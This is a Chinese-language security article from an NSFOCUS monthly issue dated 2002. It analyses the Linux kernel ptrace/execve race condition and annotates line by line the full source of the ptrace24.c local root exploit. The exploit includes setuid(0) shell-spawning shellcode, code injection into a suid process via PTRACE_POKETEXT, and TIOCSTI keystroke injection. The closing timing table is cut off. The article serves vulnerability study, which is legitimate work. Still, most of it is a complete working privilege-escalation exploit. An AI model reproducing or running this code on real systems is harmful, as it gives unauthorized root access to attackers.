首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第34期->技术专题
期刊号: 类型: 关键词:
linux ptrace漏洞分析

作者:jbtzhm <jbtzhm@nsfocus.com>
主页:http://www.nsfocus.com
日期:2002-08-16

本文讨论的是linux下ptrace漏洞的原因,及ptrace24.c程序的详细分析。

首先讨论一下ptrace的基本概念。
ptrace是libc标准接口,为了一个进程控制和调试另一个进程而实际,著名的gdb调试器就是
用ptrace函数实现的。其主要包括ATTACH,DEATTACH,SETREGS,GETREGS,CONT等相应类型的操作
具体的含义见man手册,这里不再详细描述。ptrace其在内核中是sys_ptrace系统调用实现的。
但是,ptrace的实现在各个系统中好像总和安全问题离不开,的确,类unix环境下提供
这一功能,对unix的实现者们是一个不小的考验。就linux的实现而言,其实逻辑上已是很
严谨了,只是一个地方的小纰漏,在加上newgrp这样的命令配合,才早就了ptrace24.c程序。
我们先看看linux下对ptrace和execve suid的程序的几处判断。

1.sys_ptrace系统调用中有如下判断

if (request == PTRACE_ATTACH) {//request是ptrace的第一个参数
//child是根据ptrace参数中的pid找到的traced的进程,current是tracing进程
if (child == current)
goto out_tsk;
if ((!child->dumpable ||
    (current->uid != child->euid) ||//注意这里
    (current->uid != child->suid) ||
    (current->uid != child->uid) ||
    (current->gid != child->egid) ||
    (current->gid != child->sgid) ||
    (!cap_issubset(child->cap_permitted, current->cap_permitted)) ||
    (current->gid != child->gid)) && !capable(CAP_SYS_PTRACE))
goto out_tsk;
可以看见ptrace对tracing和ptraced的进程的权限进行了判断,如果不一样就会走到out_tsk出错返回。

2.sys_execve系统调用的实现中,最终的实现是在do_execve中实现的,prepare_binprm函数负责构造
一个可用的linux_binprm结构,以供后面的load_elf_binary使用。在此函数的实现中我们看到了他对
setuid的程序的执行限制。只列出我们关心的内容。可以看出must_not_trace_exec的实现不紧紧判断
是否是被ptrace,他觉得如果父进程已是特权用户,即使这个suid的程序执行也不会有问题。

/*
* We mustn't allow tracing of suid binaries, unless
* the tracer has the capability to trace anything..
*/
static inline int must_not_trace_exec(struct task_struct * p)
{//此处是问题所在,后来的补丁也是对此。
return (p->ptrace & PT_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
}

...

int prepare_binprm(struct linux_binprm *bprm)
{
...
/* Set-uid? */
if (mode & S_ISUID) {//可执行文件置了suid位
bprm->e_uid = inode->i_uid;
if (bprm->e_uid != current->euid)//如果当前进程和execve的进程权限不一样则
id_change = 1; //置id_change,使得下面的程序有机会进入
}

...
if (id_change || cap_raised) {//这段E文很有帮助理解.
/* We can't suid-execute if we're sharing parts of the executable */
/* or if we're being traced (or if suid execs are not allowed)    */
/* (current->mm->mm_users > 1 is ok, as we'll get a new mm anyway)   */
if (IS_NOSUID(inode)
    || must_not_trace_exec(current)//此函数进行检查,见上面的程序
    || (atomic_read(&current->fs->count) > 1)
    || (atomic_read(&current->sig->count) > 1)
    || (atomic_read(&current->files->count) > 1)) {
  if (id_change && !capable(CAP_SETUID))
  return -EPERM;
  if (cap_raised && !capable(CAP_SETPCAP))
  return -EPERM;
}
}
...

我们对这段内核分析了很久,开始没有看出什么问题,后来还是backend翻看了内核相关的
补丁才发现了其实现的问题所在。如果父进程也是一个suid的程序,而他是通过setuid变成非特
权用户的话,在setuid前的这段时间里他的进程是特权进程。这是如果正赶上子进程在2中的判断
那么他的判断肯定会出问题。
有了问题的提出,我们再看看问题的实现,这是处处体现出作者的智慧。我们看看这段程序的实现

newgrp在此实现中起重要的角色,它本身是一个suid的程序,然后setuid成非特权用户,我们只要
保证execl passwd程序是是在setuid前调用的就可以通过2的判断,setenv也是程序的亮点之一。
/*
ptrace24.c [ improved by sd@ircnet ]
~~~~~~~~~~
exploit for execve/ptrace race condition in Linux kernel up to 2.4.9

Originally by Nergal.
Improved by sd.

This sploit doesn't need offset in victim binary
coz were using regs.eip instead (shellcode is non-self modifying)

It should work on openwall-patched kernels (but not on
Openwall GNU Linux as Nergal mentioned in advisory)

Use:
cc ptrace24.c -o ptrace24
./ptrace24

It gives instant root with any of: su, newgrp, screen [if +s]
(assuming if no password requiered) just change #define TARGET.

NOTE: This works only if it's executed on a tty [i.e. interactively].
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/ioctl.h>
#include <linux/user.h>
#include <limits.h>
#include <unistd.h>
#include <signal.h>
#include <wait.h>
#include <fcntl.h>

#define VICTIM "/usr/bin/passwd"
#define TARGET  "/usr/bin/newgrp"

/* quite tricky shellcode, it doesn't need +W, so we can use it in .text */
/* setuid(0) + /bin/sh = 31 bytes*/
char sc[]=
"\x6a\x17\x58\x31\xdb\xcd\x80\x31"
"\xd2\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x8d\x42\x0b\xcd\x80";//shellcode代码

void ex_passwd(int fd)//子进程执行passwd这个suid的程序
{
char z;
dup2(2, 1);
A: if (read(fd, &z, 1) <= 0) {//作者通过读管道,造成阻塞,完成和父进程的同步
        perror("read:");//子进程不能过早的执行passwd,那样会使得attach时父子进程的
        exit(1);//的权限不一样,通不过1中的判断。
        }
B: execl(VICTIM, VICTIM, 0);//执行passwd,变成特权用户,注意:此时必须保证父进程是特权用户。
        perror("execl"); //不然不能通过2的判断。
        exit(1);
}

void insert(char *us, int pid)
{
        char buf[100];
        char *ptr = buf;
        sprintf(buf, "exec %s %i\n", us, pid);
C: while (*ptr && !ioctl(0, TIOCSTI, ptr++));//虚拟键盘输入 exec ./ptrace24 12345(childpid)
//这里需要细看,其实是在newgrp实现的shell中再执行此程序,而此程序判断参数个数进入
//inser_shellcode流程。      
}


int insert_shellcode(int pid)
{
        int i, wpid;
        struct user_regs_struct regs;
//由于passwd子进程被ptrace了,因此execl系统调用完成,进程也是stop状态,可以完成对其操作。
if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {//取得passwd进程的寄存器内容
                perror("PTRACE_GETREGS");
                exit(0);
        }

        for (i = 0; i <= strlen(sc) + 1; i += 4)
                ptrace(PTRACE_POKETEXT, pid, regs.eip + i,//将shellcode写入passwd
                    *(unsigned int *) (sc + i)); //进程eip指向的进程空间

        if (ptrace(PTRACE_SETREGS, pid, 0, &regs))//写passwd进程寄存器内容
                exit(0); //其实这个没必要,passwd进程是stop状态

D: if (ptrace(PTRACE_DETACH, pid, 0, 0))//断开attach,让passwd进程继续执行
                exit(0); //其实已经是那段shellcode程序

        close(2);
        do {
                wpid = waitpid(-1, NULL, 0);
                if (wpid == -1) {
                        perror("waitpid");
                        exit(1);
                }
        } while (wpid != pid);
return 0;
}

int
main(int argc, char *argv[])
{
        int res;
        int pid, n;
        int pipa[2];

if ((argc == 2) && ((pid = atoi(argv[1])))) {
E: return insert_shellcode(pid);//如果有一个参数,将执行注入shellcode的操作
}

        pipe(pipa);//生成管道,目的保证几个进程的同步关系

        switch (pid = fork()) {
        case -1:
                perror("fork");
                exit(1);
        case 0://第一个子进程
                close(pipa[1]);
F:                 ex_passwd(pipa[0]);//在read会阻塞,等待父进程attach
        default:;
        }


G: res = ptrace(PTRACE_ATTACH, pid, 0, 0);//attach子进程,这是它不是特权进程可以成功

        if (res) {
                perror("attach");
                exit(1);
        }

        res = waitpid(-1, NULL, 0);//attach成功,子进程返回SIGCHLD信号
        if (res == -1) {
                perror("waitpid");
                exit(1);
        }

        res = ptrace(PTRACE_CONT, pid, 0, 0);//让子进程继续执行。但是read还是使其阻塞
        //阻塞和stop不是一个概念
        if (res) {
                perror("cont");
                exit(1);
        }

        fprintf(stderr, "attached\n");

        switch (fork()) {//再次生成新进程
        case -1:
                perror("fork");
                exit(1);
        case 0:
                close(pipa[1]);
                sleep(1);//等一秒,保证newgrp先执行
H:                 insert(argv[0], pid);//就是那个虚拟键盘执行第二遍的函数
                do { //相当于是在newgrp中执行的
char c;
                        n = read(pipa[0], &c, 1);
                } while (n > 0);
                if (n < 0)
                        perror("read");
                exit(0);
        default:;
}
        close(pipa[0]);

        dup2(pipa[1], 2);//将标准错误重定向为写管道
        close(pipa[1]);
        /* Decrystallizing reason */
        setenv("LD_DEBUG", "libs", 1);//置环境变量,使得execl不仅向错误(现是写管道)
        /* With strength I burn */ //让passwd那个子进程执行,而且使得newgrp执行
J: execl(TARGET, TARGET, 0); //缓慢,使得passwd的执行在其setuid成普通用户前
return 1; //执行
}

我们再来看看它的时序情况

------->>>>-------------时间--------------->>>>---------------------

第二个子进程      |----------->H--->C
     |
父进程        main-->fork-->G------>fork-->J-|||S|||-->E-->D..........
                       |  
第一个子进程           |-->F->A..............->B............->shellcode

说明:
...表示这段时间进程被阻塞了
|||S|||中S表示newgrp中setuid成普通用户的那个动作,而|||表示setenv后执行速度放慢
A点的阻塞是由于管道读,解阻塞是由于setenv后,执行时会有向2打印调试信息,而这时
2被dup2成写管道。因此|||执行使得B有机会执行,但是B必须在S前执行,才有机会通过
系统的检查,而通过检查后,由于其被ptrace了,一次passwd进程马上又被STOP,直到D被
执行了,shellcode有机会被执行。


附backend提供的一个更详细的各进程时序图:

时序 父进程     子进程A    子进程B  注释
=================================
00  ptrace24                开始运行
01  fork()     pid=A
02  PTRACE_ATTACH              父进程tracing子进程A
03